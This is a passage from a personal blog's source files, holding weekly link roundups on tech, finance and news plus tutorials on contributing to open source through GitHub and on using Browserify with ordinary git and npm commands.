Trump Supporter Created Fake News Story](http://www.npr.org/2017/08/01/540783715/lawsuit-alleges-fox-news-and-trump-supporter-created-fake-news-story) 47 | - [Inside the company that makes it possible to transfer money and gain access to buildings by scanning](https://www.technologyreview.com/s/608598/when-a-face-is-worth-a-billion-dollars/) 48 | - [Why Moore’s law is set to destroy the planet and how to stop it](https://www.technologyreview.com/s/608662/how-materials-science-will-determine-the-future-of-human-civilization/) 49 | - [Hacker Whose Tools Were Used in DNC Hack Steps Forward](https://www.technologyreview.com/the-download/608672/hacker-whose-tools-were-used-in-dnc-hack-steps-forward/) 50 | - [White Supremacists Have Stumbled Into a Huge Issue in Genetic Ancestry Testing](https://www.technologyreview.com/the-download/608673/white-supremacists-have-stumbled-into-a-huge-issue-in-genetic-ancestry-testing/) 51 | - [Why Do We Scratch an Itch?](https://www.technologyreview.com/the-download/608681/why-do-we-scratch-an-itch/) 52 | - Software 53 | - [APIs as infrastructure: future-proofing Stripe with versioning](https://stripe.com/blog/api-versioning) 54 | - [The Languages Which Almost Became CSS](https://blog.cloudflare.com/the-languages-which-almost-became-css/) 55 | - [How to think of your business logic as data](https://swizec.com/blog/business-logic-data/swizec/7746) 56 | - [Removing “Send to Watch”](https://marco.org/2017/08/10/removed-send-to-watch) 57 | - [Should the ‘KEG’ Stack Replace the LAMP Stack?](https://thenewstack.io/keg-stack-replace-lamp-stack/) 58 | - [Vyopta: Shipping fast and reducing operational costs with MongoDB Atlas](https://www.mongodb.com/blog/post/vyopta-shipping-fast-and-reducing-operational-costs-with-mongodb-atlas) 59 | 60 | ## Reading 61 | 62 | - [The Communist Manifesto](https://www.goodreads.com/book/show/30474.The_Communist_Manifesto) 63 | - [The Phoenix Project: A Novel About IT, DevOps, and Helping Your Business Win](https://www.goodreads.com/book/show/17255186-the-phoenix-project) 64 | - Finished [I Will Teach You To Be Rich](https://www.goodreads.com/book/show/4924862-i-will-teach-you-to-be-rich) 65 | -------------------------------------------------------------------------------- /posts/2017-05-30-review.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: My Week in Review (2017-05-30) 3 | date: 2017-05-30 15:00 4 | --- 5 | 6 | ## What Happened? 7 | 8 | - Read around 43 articles 9 | - Started work on a new software project 10 | - Finished [Arrow](https://trakt.tv/shows/arrow/seasons/5) and [Flash](https://trakt.tv/shows/the-flash-2014/seasons/3) and [Supergirl](https://trakt.tv/shows/supergirl/seasons/2) 11 | 12 | ## Internet 13 | 14 | - Video 15 | - [How to Think About PR - CS183F](https://www.youtube.com/watch?v=KlekeNwOGHw) 16 | - [Welcome to Life: the singularity, ruined by lawyers](https://www.youtube.com/watch?v=IFe9wiDfb0E) 17 | - [Danger: Humans](https://www.youtube.com/watch?v=OcPqk-O-fD4) 18 | - [Oversight: Thank you for volunteering, citizen.](https://www.youtube.com/watch?v=RIuf1V1FhpY) 19 | - Useful 20 | - [How to Sleep](https://www.theatlantic.com/magazine/archive/2017/01/how-to-sleep/508781/) 21 | - [Google now tracks your credit card purchases and connects them to its online profile of you](https://www.technologyreview.com/s/607938/google-now-tracks-your-credit-card-purchases-and-connects-them-to-its-online-profile-of-you/) 22 | - [Personal Budgeting Definitions—Come And Get ‘Em!](https://www.youneedabudget.com/personal-budgeting-definitions-come-and-get-em/) 23 | - [A financial planner explains how to set yourself up to retire at 50, in 7 steps](http://www.businessinsider.com/financial-planner-explains-how-to-set-yourself-up-to-retire-at-50-2017-5) 24 | - [How Elon Musk learns faster and better than everyone else](https://qz.com/968101/how-elon-musk-learns-faster-and-better-than-everyone-else/) 25 | - Interesting 26 | - [Could We Run Modern Society on Human Power Alone?](http://www.lowtechmagazine.com/2017/05/could-we-run-modern-society-on-human-power-alone.html) 27 | - [A Year of Google Maps & Apple Maps](https://www.justinobeirne.com/a-year-of-google-maps-and-apple-maps/) 28 | - [Thoughts on Tokens](https://medium.com/@balajis/thoughts-on-tokens-436109aabcbe) 29 | - [Losing Touch with Reality](http://wealthyaccountant.com/2017/05/26/losing-touch-with-reality/) 30 | - [Private Eye Allegedly Used Leaky Goverment Tool in Bid to Find Tax Data on Trump](https://krebsonsecurity.com/2017/05/private-eye-allegedly-used-leaky-goverment-tool-in-bid-to-find-tax-data-on-trump/) 31 | - [Space exploration is still the brightest hope-bringer we have](https://aeon.co/ideas/one-extraordinary-scientist-and-the-story-of-space) 32 | - [Hackers Unlock Samsung Galaxy S8 With Fake Iris](https://motherboard.vice.com/en_us/article/hackers-unlock-samsung-galaxy-s8-with-fake-iris) 33 | - [Trump’s Dumps: ‘Making Dumps Great Again’](https://krebsonsecurity.com/2017/05/trumps-dumps-making-dumps-great-again/) 34 | - [Knowledge Summary: The Next Decade in Digital Transformation](http://estebankolsky.com/2017/05/knowledge-summary-the-next-decade-in-digital-transformation/) 35 | - [The Problem with Knowledge](http://estebankolsky.com/2010/03/the-problem-with-knowledge/) 36 | - [Article: Memory is the Barrier Between Computers and Humans](http://estebankolsky.com/2017/05/article-memory-is-the-barrier-between-computers-and-humans/) 37 | - [Which Companies Have the Highest Revenue Per Employee?](https://priceonomics.com/which-companies-have-the-highest-revenue-per/) 38 | - [DIKW pyramid](https://en.wikipedia.org/wiki/DIKW_pyramid) 39 | - Opinion 40 | - [How Trump gets his fake news](http://www.politico.com/story/2017/05/15/donald-trump-fake-news-238379) 41 | - [The U.K. Pleads with Congress to change an outdated privacy law to help fight terrorism](https://www.technologyreview.com/s/607966/the-uk-pleads-with-congress-to-change-an-outdated-privacy-law-to-help-fight-terrorism/) 42 | - [Why Turtles Evolved Shells: It Wasn't for Protection](http://www.theatlantic.com/science/archive/2016/07/the-turtle-shell-first-evolved-for-digging-not-defence/491087/) 43 | - [Seth's Blog: Predicting or inventing...](http://sethgodin.typepad.com/seths_blog/2017/05/predicting-or-inventing.html) 44 | - [The movement behind the rose emoji that you probably don't know about](http://mashable.com/2017/05/27/hidden-meaning-rose-emoji-dsa/) 45 | - [Daring Fireball: Safari vs. Chrome on the Mac](https://daringfireball.net/2017/05/safari_vs_chrome_on_the_mac) 46 | - [Daring Fireball: From the Annals of Anal](https://daringfireball.net/linked/2017/05/24/annals-of-anal) 47 | - [Daring Fireball: Russian Hackers Are Using Google's Own Infrastructure to Hack Gmail Users](https://daringfireball.net/linked/2017/05/29/russian-amp-phishing) 48 | - [Daring Fireball: Cooperstown Celebrates 25th Anniversary of 'Homer at the Bat'](https://daringfireball.net/linked/2017/05/29/homer-at-the-bat) 49 | - [Seth's Blog: In search of familiarity](http://sethgodin.typepad.com/seths_blog/2017/05/in-search-of-familiarity.html) 50 | - [Google now tracks and collects your OFFLINE credit card purchases](https://www.privateinternetaccess.com/blog/2017/05/google-now-also-tracks-and-collects-your-offline-credit-card-purchases/) 51 | - Software 52 | - [Introducing Travel Mode: Protect your data when crossing borders](https://blog.agilebits.com/2017/05/18/introducing-travel-mode-protect-your-data-when-crossing-borders/) 53 | - [Stack Overflow: Helping One Million Developers Exit Vim](https://stackoverflow.blog/2017/05/23/stack-overflow-helping-one-million-developers-exit-vim/) 54 | - [A Unified Styling Language](https://medium.com/seek-blog/a-unified-styling-language-d0c208de2660) 55 | - [PostgreSQL operations that you can't EXPLAIN](http://felixge.de/2017/05/05/postgresql-operations-that-you-cant-explain.html) 56 | - [Do you really need immutable data?](https://swizec.com/blog/immutable-data/swizec/7613) 57 | - [GraphQL Meets Graph Database: A GraphQL + Neo4j Integration](https://neo4j.com/blog/graphql-neo4j-graph-database-integration/) 58 | - [Two Design Patterns You're Probably Already Using](https://8thlight.com/blog/becca-nelson/2017/05/22/two-design-patterns-youre-probably-already-using.html) 59 | - [Service Oriented Agony](https://8thlight.com/blog/uncle-bob/2012/02/01/Service-Oriented-Agony.html) 60 | - [NO DB](https://8thlight.com/blog/uncle-bob/2012/05/15/NODB.html) 61 | - [The largest Git repo on the planet](https://blogs.msdn.microsoft.com/bharry/2017/05/24/the-largest-git-repo-on-the-planet/) 62 | 63 | ## Reading 64 | 65 | - [Foundation](https://www.goodreads.com/book/show/29579.Foundation) 66 | - [Thinking Fast and Slow](https://www.goodreads.com/book/show/11468377-thinking-fast-and-slow) (audiobook) 67 | -------------------------------------------------------------------------------- /posts/2017-05-16-review.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: My Week in Review (2017-05-16) 3 | date: 2017-05-16 10:00 4 | --- 5 | 6 | ## What Happened? 7 | 8 | - Read 45 articles 9 | - Working out of Balanced NYC for [Recess Labs](http://www.recess-labs.com/) 10 | - Visited [Brooklyn Bridge Park](https://www.instagram.com/p/BT9AniCDZOh/) 11 | - Set up and released [ServieJS](https://github.com/serviejs) organisation 12 | 13 | ## Internet 14 | 15 | - Videos 16 | - [Live Office Hours with Adora Cheung and Avichal Garg](https://www.youtube.com/watch?v=3ESoTBIDbpk) 17 | - [How to Invent the Future I](https://www.youtube.com/watch?v=ZDM33CMJvp8) - these videos were among my favourite so far 18 | - [How to Invent the Future II](https://www.youtube.com/watch?v=DIR6Rmhm3To) 19 | - Interesting 20 | - [The Tail End](http://waitbutwhy.com/2015/12/the-tail-end.html) 21 | - [The 1 Percent Rule: Why a Few People Get Most of the Rewards](http://jamesclear.com/the-1-percent-rule) 22 | - [How to Trick People Into Saving Money](https://www.theatlantic.com/magazine/archive/2017/05/how-to-trick-people-into-saving-money/521421/) 23 | - [The Mysterious Case of the Radioactive Toothpaste](http://www.atlasobscura.com/articles/thorium-toothpaste-alsos-world-war-wwii-manhattan-project) 24 | - [Are These Birds Too Sexy to Survive?](https://www.nytimes.com/2017/05/05/opinion/sunday/are-these-birds-too-sexy-to-survive.html) 25 | - [The Scientific Truth About Planet Nine, So Far](http://www.forbes.com/sites/startswithabang/2017/05/09/the-scientific-truth-about-planet-nine-so-far/) 26 | - [How number words may have changed us from zeroes to heroes](https://www.newscientist.com/article/mg23431240-600-how-number-words-may-have-changed-us-from-zeroes-to-heroes/) 27 | - [How the Color of Your Skin Affects Who You Date Online](http://www.glamour.com/story/how-one-woman-confronted-the-issue-of-racial-bias-online-dating-sites) 28 | - ['Civilization' Creator Sid Meier: "I Didn't Expect to be a Game Designer"](http://www.glixel.com/interviews/civilization-creator-sid-meier-i-didnt-really-expect-to-be-a-game-designer-w480988) 29 | - [8 Ways to Read (a Lot) More Books This Year](https://hbr.org/2017/02/8-ways-to-read-a-lot-more-books-this-year) 30 | - [My Morning Practice](http://blog.pamelafox.org/2017/05/my-morning-practice.html) 31 | - Nikita Voloboev - discovered his work after I saw [knowledge-map](https://github.com/nikitavoloboev/knowledge-map), very inspirational work 32 | - [mind map everything](https://medium.com/@NikitaVoloboev/mind-map-everything-d27670f70739#.p7w44kr44) 33 | - [Knowledge Bootstrapping](https://medium.com/@NikitaVoloboev/knowledge-bootstrapping-36c97e0dee19#.udmp9eotg) 34 | - [What it means to live a conscious life?](https://medium.com/@NikitaVoloboev/what-it-means-to-live-a-conscious-life-c96f6517077#.x3mzy1kcl) 35 | - [The root of it all](https://medium.com/@NikitaVoloboev/the-root-of-it-all-9b6ab6a77e1d#.yt6ici5rf) 36 | - [The best kind of Web](https://medium.com/@NikitaVoloboev/the-best-kind-of-web-3c9131a1fd99#.npi0ohf46) 37 | - [just keep expressing yourself](https://medium.com/@NikitaVoloboev/just-keep-expressing-yourself-306870791ae4#.3ilcote4m) 38 | - [everything connects to everything else](https://medium.com/@NikitaVoloboev/everything-connects-to-everything-else-c6a2d96a809d#.nn8gvwavn) 39 | - [Project based learning](https://medium.com/@NikitaVoloboev/project-based-learning-e511641869ca#.z6wr7ncu5) 40 | - [day evaluations](https://medium.com/@NikitaVoloboev/day-evaluations-5706f31c9c5e#.m4lw1eo32) 41 | - [news](https://medium.com/@NikitaVoloboev/news-d6bcaaf40121#.mtj9gqvyu) 42 | - [Fantastical natural input + Text expansions](https://medium.com/@NikitaVoloboev/fantastical-natural-input-text-expansions-3ea8cf7ccac3#.pv5937ncr) 43 | - [Little trick I use to navigate source code better](https://medium.com/@NikitaVoloboev/little-trick-i-use-to-navigate-source-code-better-bc958ccd821#.7y4y3jhqz) 44 | - Self-improvement 45 | - [Day One and the Journaling Habit](http://www.sparkjournal.net/journal/2014/12/day-one-and-the-journaling-habit) 46 | - Technical 47 | - [My Heroku Values](https://brandur.org/heroku-values) 48 | - [What is the XY problem?](https://meta.stackexchange.com/questions/66377/what-is-the-xy-problem) - This was linked in a TypeScript issue, never knew there was a name for it! 49 | - [Don't tell people to turn off Windows Update, just don't](https://www.troyhunt.com/dont-tell-people-to-turn-off-windows-update-just-dont/) 50 | - [Macron campaign team used honeypot accounts to fake out Fancy Bear](https://arstechnica.com/security/2017/05/macron-campaign-team-used-honeypot-accounts-to-fake-out-fancy-bear/) 51 | - [Analyzing a counter intelligence cyber operation: How Macron just changed cyber security forever](https://hackernoon.com/analyzing-a-counter-intelligence-cyber-operation-how-macron-just-changed-cyber-security-forever-22553abb038b?gi=ca56c38dda8d) 52 | - [Estonia 10 Years Later: Lessons learned from the World’s First Internet War](https://securityledger.com/2017/04/estonia-10-years-later-lessons-learned-from-the-worlds-first-internet-war/) 53 | - [Abusing Gmail to get previously unlisted e-mail addresses](https://blog.0day.rocks/abusing-gmail-to-get-previously-unlisted-e-mail-addresses-41544b62b2?gi=19b7c9978ff1) 54 | - [Detecting walking speed with wireless signals](http://news.mit.edu/2017/dina-katabi-csail-team-develop-wireless-system-to-detect-walking-speeds-0501) 55 | - [TLS/SSL Explained: TLS/SSL Terminology and Basics](https://dzone.com/articles/tlsssl-terminology-and-basics) 56 | - [Flame is Lame](https://www.f-secure.com/weblog/archives/00002383.html) 57 | - [The Travis CI Blog: Security Advisory: Secured Environment Variables](https://blog.travis-ci.com/2017-05-08-security-advisory) 58 | - [CPU Utilization is Wrong](http://www.brendangregg.com/blog/2017-05-09/cpu-utilization-is-wrong.html) 59 | - [Who Contributes to PostgreSQL Development?](http://rhaas.blogspot.com/2017/04/who-contributes-to-postgresql.html) 60 | - [When Postgres is not enough](https://medium.com/goiabada/when-postgres-is-not-enough-237b723be442) 61 | - [10 Tips on How to Be a Great Programmer ](https://dzone.com/articles/10-tips-on-how-to-be-a-great-programmer) 62 | - [OAuth 2.0 Beginner's Guide](https://dzone.com/articles/oauth-20-beginners-guide) 63 | - [Why Is the TSA Scanning Paper?](https://www.schneier.com/blog/archives/2017/05/why_is_the_tsa_.html) 64 | 65 | ## Reading 66 | 67 | - [I Will Fear No Evil](https://www.goodreads.com/book/show/175325.I_Will_Fear_No_Evil) 68 | - Finished [The Subtle Art of Not Giving a F\*ck](https://www.goodreads.com/book/show/28257707-the-subtle-art-of-not-giving-a-f-ck) today 69 | - New audiobook: [Thinking Fast and Slow](https://www.goodreads.com/book/show/11468377-thinking-fast-and-slow) 70 | -------------------------------------------------------------------------------- /posts/2013-04-contributing-to-open-source.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Contributing to Open Source 3 | date: 2013-04-03 20:35 4 | author: Blake Embrey 5 | layout: article 6 | --- 7 | 8 | > “Software is like sex; it's better when it's free.” - Linus Torvalds 9 | 10 | Being able to contribute to open source is an awesome feeling. The feeling of having code which thousands, if not millions, of people will run everyday is enough to make you cringe. Surprisingly though, few people realize how empowering, yet simple, contributing to an open source project can be. 11 | 12 | In this article I am going to run you through what my usual process looks like when issuing a pull request through GitHub, and what sort of things to expect. 13 | 14 | ## First Steps 15 | 16 | The first thing you'll need is an open source library or project that you are passionate about. Finding a library that fits this criteria can be difficult, but I am sure there are a dozen of projects you take for granted everyday. It's unlikely you even realize how many issues some libraries have backlogged to work through. 17 | 18 | Once you have found a project you are interested in contributing to, chances are it's on GitHub. If it's not on GitHub, repeat the previous step. For the purpose of this blog post, I'll be running with [this issue from Stylus](https://github.com/LearnBoost/stylus/issues/989). 19 | 20 | ![Stylus issue on GitHub](http://f.cl.ly/items/2n2R1S3M291X3V1k110C/CapturFiles_1.png) 21 | 22 | The first thing you'll need to do is fork the repo. This is done by clicking the `Fork` button in the top right of GitHub. Once you fork the repo, you'll have your own personal copy of the original repo that you can do what you want with. From there, you'll want to use you command line to clone the repo off GitHub. 23 | 24 | ![Local Stylus Fork](http://f.cl.ly/items/0s0V12453x0X3Z102i1Z/CapturFiles_3.png) 25 | 26 | ``` 27 | git clone git@github.com:blakeembrey/stylus.git 28 | ``` 29 | 30 | After cloning the repository, you'll now have a local copy on your machine. My next step is usually to set up the `upstream` repository link for pulling down code. 31 | 32 | ``` 33 | git remote add upstream git@github.com:LearnBoost/stylus.git 34 | ``` 35 | 36 | The next step is to create a branch, normally based on the name or description of the issue you are trying to solve. You don't want to make your changes in the `master` branch as it will make future updates and pull requests more difficult to do. 37 | 38 | ``` 39 | git checkout -b media-query-colon 40 | ``` 41 | 42 | With that command, I'll quickly create a new branch based off `master` and switch to it. The first thing you'll want to do before writing any code is try and find the test suite for the project (hopefully they have one). This is the most useful thing I find during development, especially when it's a library I'm not entire familiar with. With Stylus, I know I can find the test script under the scripts section the `package.json`. 43 | 44 | ``` 45 | npm test 46 | ``` 47 | 48 | ![Command Line after working through the previous steps](http://f.cl.ly/items/0f0x1n22031F3j3E060D/CapturFiles_4.png) 49 | 50 | ## Committing your work 51 | 52 | Running the test script should quickly give an overview of how the library is constructed and the current status of the library. Most of the time, all tests should be passing - otherwise this would mean more bugs that need fixing. 53 | 54 | After running the test script, I usually find it useful to whip up a new test based on the issue you are trying to solve - which will be failing initially. This is known as Test Driven Development (TDD), and will be crucial as you explore the core of some libraries. Make sure to add as many test cases to demostrate the issue and fix, which will also stop future regressions. 55 | 56 | > In lieu of a formal styleguide, take care to maintain the existing coding style. 57 | 58 | When contributing to someone elses library, you'll want to make sure your coding style is matching the code which already exists. This is an important concept to understand, as it makes future commits easier to read through when all the code is consistent. [All code in any code-base should look like a single person typed it, no matter how many people contributed](https://github.com/rwldrn/idiomatic.js/#all-code-in-any-code-base-should-look-like-a-single-person-typed-it-no-matter-how-many-people-contributed). You may find that some projects also include a [CONTRIBUTING.md](https://github.com/twitter/bootstrap/blob/master/CONTRIBUTING.md) file. 59 | 60 | Somewhere during this time you'll want to commit your changes. Next, we'll want to push our changes back to the remote repository we cloned from earlier (`git push -u origin media-query-colon`). This will create a new branch on the remote repo to track from. Once the code is pushed back up to GitHub, you can create a pull request from your repo back to the original (`upstream`). 61 | 62 | ## Creating a pull request 63 | 64 | When creating the pull request, it is vital to provide a descriptive title and contents - anyone reading the issue should understand what your trying to achieve before reading any code. If there are similar issues or you were fixing an existing issue, make sure to take a note of the issue numbers in the issue description. You can even make a reference to another repo if it affects it - this shows the impact of your change and demostrates the priority of your patch. 65 | 66 | ## Keeping it relevant 67 | 68 | Chances are, by now there have been new commits created since you forked the repo, or perhaps your commit history for the issue is just getting a little unwieldly. Fortunately there is a simple utility built into git for this known as rebasing. 69 | 70 | ``` 71 | git checkout master 72 | git pull upstream master 73 | git checkout media-query-colon 74 | git rebase -i master # Interactively rebase 75 | ``` 76 | 77 | ![Rebase process](http://f.cl.ly/items/1k3N1Q1I282p3Y3J233L/CapturFiles_6.png) 78 | 79 | A rebase will rewrite your commit history, so you can squash commits together into a single commit and clean up all the changes you have made. It'll also move the commits to be the lastest in the commit log. Because the history will be rewritten, next time you push you'll probably need to use the force push flag which overrides the remote commit (`git push -f`). 80 | 81 | Luckily, with the way GitHub works, any commits in the branch - new or old - will be appended to your pull request. This makes is simple to quickly iterate on any issues raised by fellow developers or the project owner. 82 | 83 | ## Completion 84 | 85 | Now you are likely done. Depending on the repo and repo owner(s), it could take anywhere from a few minutes to a few months for your pull request to be reviewed. It won't always be perfect, and it may be denied. In the case of your pull request being denied, check out the feedback - it'll usually be really useful and maybe even give you an idea of where to go from there. If not, there are always more repos in need of contributors. 86 | -------------------------------------------------------------------------------- /posts/2013-09-introduction-to-browserify.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Introduction to Browserify 3 | date: 2013-09-12 22:00 4 | author: Blake Embrey 5 | layout: article 6 | --- 7 | 8 | > require('modules') in the browser. 9 | 10 | [Browserify](https://github.com/substack/node-browserify) is a development tool that allows us to write node.js-style modules that compile for use in the browser. Just like node, we write our modules in separate files, exporting external methods and properties using the `module.exports` and `exports` variables. We can even require other modules using the `require` function, and if we omit the relative path it'll resolve to the module in the `node_modules` directory. 11 | 12 | ## Getting Started 13 | 14 | Getting started with the browserify command-line tool requires node.js and npm installed. 15 | 16 | ```bash 17 | npm install browserify -g 18 | ``` 19 | 20 | ## Our First Module 21 | 22 | **multiply.js:** 23 | 24 | ```javascript 25 | module.exports = function (a, b) { 26 | return a * b; 27 | }; 28 | ``` 29 | 30 | **square.js:** 31 | 32 | ```javascript 33 | var multiply = require("./multiply"); 34 | 35 | module.exports = function (n) { 36 | return multiply(n, n); 37 | }; 38 | ``` 39 | 40 | **index.js:** 41 | 42 | ```javascript 43 | var square = require("./square"); 44 | 45 | console.log(square(125)); //=> 15625 46 | ``` 47 | 48 | Now we have written a couple of modules that require each other, we can run browserify and generate the file for use in the browser: 49 | 50 | ```bash 51 | browserify index.js -o bundle.js 52 | ``` 53 | 54 | Now that we have a `bundle.js` file that bundled the three modules we wrote, we can add a single script tag reference to it into our html page and it'll execute in the browser automatically resolving `require` calls. `` and we should see `15625` logged to the JavaScript console. 55 | 56 | ## NPM + Browserify 57 | 58 | Since browserify implements the node.js module resolve algorithm, we can easily use npm to install modules from the package manager and use them inside the browser. There are lots of modules on npm that are made for tools such as browserify, but even more exciting is watching modules that were specifically written for node running in a browser environment without any effort. Let's install `underscore` and include it in our script. 59 | 60 | ```bash 61 | npm install underscore --save 62 | ``` 63 | 64 | ```javascript 65 | var _ = require("underscore"); 66 | 67 | _.each([1, 2, 3], function (n) { 68 | console.log(n); //=> 1, 2, 3 69 | }); 70 | ``` 71 | 72 | ## Node-core Modules 73 | 74 | The biggest attraction of browserify over similar tools would have to be the inclusion of [node.js core modules](https://github.com/substack/node-browserify#compatibility). Modules such as `url`, `path`, `stream`, `events` and `http` have all been ported for use in the browser. We can't do everything that node can do, but we can do everything a browser can do using node.js style code. 75 | 76 | The most immediately obvious core modules that are useful on the client-side are `querystring`, `url` and `path`. By requiring these core modules, we can easily parse and resolves urls, query strings and paths in a client script. On top of that, the `process`, `Buffer`, `__dirname`, `__filename` and `global` variables are all populated with Browserify. That means we can use `process.nextTick` to easily invoke a function on the next event loop (with full cross-browser support). A special `process.browser` flag is also set in browserify builds, so we can do a quick check to see if the script is running in a browser environment (as opposed to node.js for all the cross-environment module developers). 77 | 78 | ## Transforms 79 | 80 | The most powerful feature in Browserify are [source transforms](https://github.com/substack/node-browserify#list-of-source-transforms). A source transform is a stream injected between the resolved module and the content that is returned. A simple use case for using a source transform is compiling CoffeeScript to JavaScript. Using [coffeeify](https://github.com/substack/coffeeify) there is no longer a need for precompilation steps, it just works. 81 | 82 | There are loads more transforms and you can easily write your own. Some transforms I find myself using regularly are [brfs](https://github.com/substack/brfs) (inlines file contents), [hbsfy](https://github.com/epeli/node-hbsfy) (precompile Handlebars templates, _better performance and smaller footprint_), [uglifyify](https://github.com/hughsk/uglifyify) (uglify bundled modules with UglifyJS2) and [envify](https://github.com/hughsk/envify) (use environment variables within modules). 83 | 84 | ## Advanced Options 85 | 86 | ### Debug 87 | 88 | Using the `-d` flag with Browserify will enable source map support. Source maps allow us to view the file in all its natural, multiple file glory. Just make sure you have source maps enabled in your dev tools, and debugging compiled scripts will become 100x easier. 89 | 90 | ### Stand-alone 91 | 92 | With the `-s ` option, we can create a bundle for public API consumption with other browser compile and runtime tools. It uses a UMD snippet to define an AMD module, CommonJS module and even falls back to aliasing the name to the `window` global. 93 | 94 | ### External 95 | 96 | In a production website environment, you'll probably want to cut down on duplicate code being included by different modules. This can be done by using the `-x` flag, which specifies a module that should not be bundled directly with the build and instead required from the page itself. Combine this with the `-r` flag to explicitly require modules into a bundle, we can factor out common module dependencies and create a separate bundle. 97 | 98 | ### Browserify Shim 99 | 100 | You'll probably find some module that can't simply be required because it was written for the browser environment. Conviently, we can write a simple polyfill using `module.exports = window.$` or similar. But what if it has dependencies in the global that we have used `require` with? We could alter the snippet a bit more and alias required modules, but even easier is the [browserify-shim](https://github.com/thlorenz/browserify-shim) module that was written specifically with this purpose in mind. 101 | 102 | ### Grunt task 103 | 104 | Lots of people use Grunt everyday to run their build scripts, and browserify is no exception. [Grunt-browserify](https://github.com/jmreidy/grunt-browserify) provides an awesome grunt configuration for setting up your browserify builds and even comes with some extra sugar on top, such as a bundled `browserify-shim` config option. 105 | 106 | ### Browser Field (package.json) 107 | 108 | Browserify also supports the [browser](https://gist.github.com/shtylman/4339901) field in `package.json` files. This allows module developers to specify specific files that should be used in browser builds, in the case that the module has node-specific code that can't or shouldn't be browserified. 109 | 110 | ## Next Steps 111 | 112 | This has been a very brief introduction to Browserify and I haven't even covered everything that is possible. The [browserify docs](https://github.com/substack/node-browserify) cover plenty of information and additional flags, so definitely take a quick look. Feel free to leave a comment with any issues you have, I'd love to help out and write a follow up post that covers more uses. 113 | -------------------------------------------------------------------------------- /posts/2017-09-05-review.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: My Week in Review (2017-09-05) 3 | date: 2017-09-05 16:30 4 | --- 5 | 6 | ## Internet 7 | 8 | - Favourite 9 | - [Don't Shit Where You Eat](http://bradfrost.com/blog/post/dont-shit-where-you-eat/) 10 | - [What it feels like to be in the zone as a programmer](https://dopeboy.github.io/in-the-zone/) 11 | - [Double your output (while working fewer hours)](https://www.scotthyoung.com/blog/2012/10/26/bootcamp-2012-day-1/) 12 | - [Fucking Sue Me](http://pud.com/post/10103947044/fucking-sue-me) 13 | - [You Are Not ‘Behind’](http://zackkanter.com/2016/01/13/you-are-not-behind/) 14 | - [Outlawing War? It Actually Worked](https://www.nytimes.com/2017/09/02/opinion/sunday/outlawing-war-kellogg-briand.html) 15 | - Useful 16 | - [The Laziest Solution Possible](https://www.scotthyoung.com/blog/2007/05/08/the-laziest-solution-possible/) 17 | - [It’s Okay to “Forget” What You Read](https://medium.com/the-polymath-project/its-okay-to-forget-what-you-read-f4ef1c34cc01) 18 | - [The art of over-engineering your side projects](https://elsyms.com/the-art-of-over-engineering-your-side-projects/) 19 | - [Encouragement and team dynamics](https://www.johndcook.com/blog/2017/09/02/team-dynamics-and-encouragement/) 20 | - [Telling people what you're working on](https://jvns.ca/blog/2017/09/03/telling-people-what-you-re-working-on/) 21 | - [Ellen Pao: This Is How Sexism Works in Silicon Valley](https://www.thecut.com/2017/08/ellen-pao-silicon-valley-sexism-reset-excerpt.html) 22 | - [How Seth Godin Would Launch a Business With a \$1,000 Budget](https://www.indiehackers.com/@Louis_Grenier/2cc8c6c79c) 23 | - Interesting 24 | - [Twitter Bots Use Likes, RTs for Intimidation](https://krebsonsecurity.com/2017/08/twitter-bots-use-likes-rts-for-intimidation/) 25 | - [A Beginner’s Guide to Keeping a Journal](http://nymag.com/scienceofus/2017/08/a-beginners-guide-to-keeping-a-journal.html) 26 | - [Stress: How it affects us and how to deal with it](http://blog.rescuetime.com/2017/08/29/stress/) 27 | - [The Day I Found Out My Life Was Hanging by a Thread](https://www.wired.com/story/the-day-i-found-out-my-life-was-hanging-by-a-thread/) 28 | - [On The New York Times Claim That Trump’s iPhone Doesn’t Have a Web Browser](https://daringfireball.net/linked/2017/09/02/trump-browser) 29 | - [Marie Kondo and the Ruthless War on Stuff](https://www.nytimes.com/2016/07/10/magazine/marie-kondo-and-the-ruthless-war-on-stuff.html) 30 | - [Who Is Marcus Hutchins?](https://krebsonsecurity.com/2017/09/who-is-marcus-hutchins/) 31 | - Opinion 32 | - [10 Financial Advisors Share the Craziest Ways Clients Have Invested Their Money](https://www.thesimpledollar.com/10-financial-advisors-share-the-craziest-ways-clients-have-invested-their-money/) 33 | - [Eight Ideas for the 78% of Americans Living Paycheck to Paycheck](https://www.thesimpledollar.com/eight-ideas-for-the-78-of-americans-living-paycheck-to-paycheck/) 34 | - [How to Get Over Feeling Envious of Other People's Money and Success](https://www.thesimpledollar.com/how-to-get-over-feeling-envious-of-other-peoples-money-and-success/) 35 | - [Your Financial Thermometer](http://wealthyaccountant.com/2017/08/30/your-financial-thermometer/) 36 | - [Inspiration from Manoush Zomorodi, Linus Torvalds, ALA.NI, Ernest Hemingway, and More](https://www.thesimpledollar.com/inspiration-from-manoush-zomorodi-linus-torvalds-ala-ni-ernest-hemingway-and-more/) 37 | - [‘No Madness Like American Madness: Scenes From a Debacle in Phoenix’](https://daringfireball.net/linked/2017/09/02/eggers-phoenix) 38 | - [Seth's Blog: Irresistible is rarely easy or rational](http://sethgodin.typepad.com/seths_blog/2017/09/irresistible-is-rarely-easy-or-rational.html) 39 | - [This is What Happens When You Start a Business After a Career Setback](http://wealthyaccountant.com/2017/09/04/this-is-what-happens-when-you-start-a-business-after-a-career-setback/) 40 | - News 41 | - [As Trump ranted and rambled in Phoenix, his crowd slowly thinned](https://www.washingtonpost.com/news/post-politics/wp/2017/08/23/as-trump-ranted-and-rambled-in-phoenix-his-crowd-slowly-thinned/) 42 | - [Here’s how to get to Alpha Centauri: propel a tiny spacecraft on the tip of a powerful laser beam](https://www.technologyreview.com/s/608731/femto-spacecraft-could-travel-to-alpha-centauri/) 43 | - [Journalists Generally Do Not Use Secure Communication](https://www.schneier.com/blog/archives/2017/08/journalists_gen.html) 44 | - [Elon Musk's brilliant email rule at Tesla](http://www.nzherald.co.nz/business/news/article.cfm?c_id=3&objectid=11914790) 45 | - [Donald Trump’s True Allegiances](https://www.newyorker.com/magazine/2017/08/28/donald-trumps-true-allegiances) 46 | - [What is North Korea trying to hit?](https://www.washingtonpost.com/graphics/world/north-korea-targets/) 47 | - [Trump’s Volatility in Asia Distresses a Longtime U.S. Ally: 